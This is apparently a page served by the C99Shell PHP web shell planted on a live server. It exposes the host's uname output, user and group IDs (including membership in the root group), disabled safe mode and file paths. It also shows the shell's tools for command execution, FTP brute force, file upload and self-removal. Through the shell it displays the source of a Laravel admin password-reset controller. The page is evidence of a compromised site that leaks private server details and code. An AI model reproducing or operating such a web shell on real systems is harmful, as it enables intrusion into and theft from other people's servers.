!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Auth/Back/   drwxr-xr-x
Free 29.18 GB of 117.98 GB (24.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ForgotController.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth\Back;

use 
App\{
    
Models\Admin,
    
Http\Controllers\Controller,
    
Repositories\Both\ForgotRepository
};

use 
Illuminate\Http\Request;

class 
ForgotController extends Controller
{

    
/**
     * Constructor Method.
     *
     * @param  \App\Repositories\Both\ForgotRepository $repository
     *
     */
    
public function __construct(ForgotRepository $repository)
    {
      
$this->repository $repository;
      
$this->middleware('guest:admin');
    }

    
/**
     * Show the form for requesting forgot password.
     *
     * @return \Illuminate\Http\Response
     */
    
public function showForm()
    {
        return 
view('back.auth.forgot');
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function forgot(Request $request)
    {
      if (
$data Admin::whereEmail($request->email)->first()){
        
$this->repository->forgot($data,$request,'back');
        return 
redirect()->back()->withSuccess(__('We Have Sent a Link To Your Account!. Please Check Your Email.'));
      }
      else{
        return 
redirect()->back()->withErrors(__('No Account Found With This Email.'))->withInput($request->all());
      }
    }

    
/**
     * Show the form for editing the specified resource.
     *
     * @param  string  $token
     * @return \Illuminate\Http\Response
     */
    
public function showChangePassForm($token)
    {
      if(
$token){
        if( 
Admin::whereEmailToken($token)->exists() ){
          return 
view('back.auth.changepass',compact('token'));
        }
      }
    }

    
/**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    
public function changepass(Request $request)
    {
        
$data =  Admin::whereEmailToken($request->file_token)->first();
        
$resp $this->repository->updatePassword($data,$request,'back');
        if(
$resp['status']){
            return 
redirect($resp['redurect_url'])->withSuccess($resp['message']);
        }else{
            return 
redirect()->back()->withErrors($resp['message']);
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--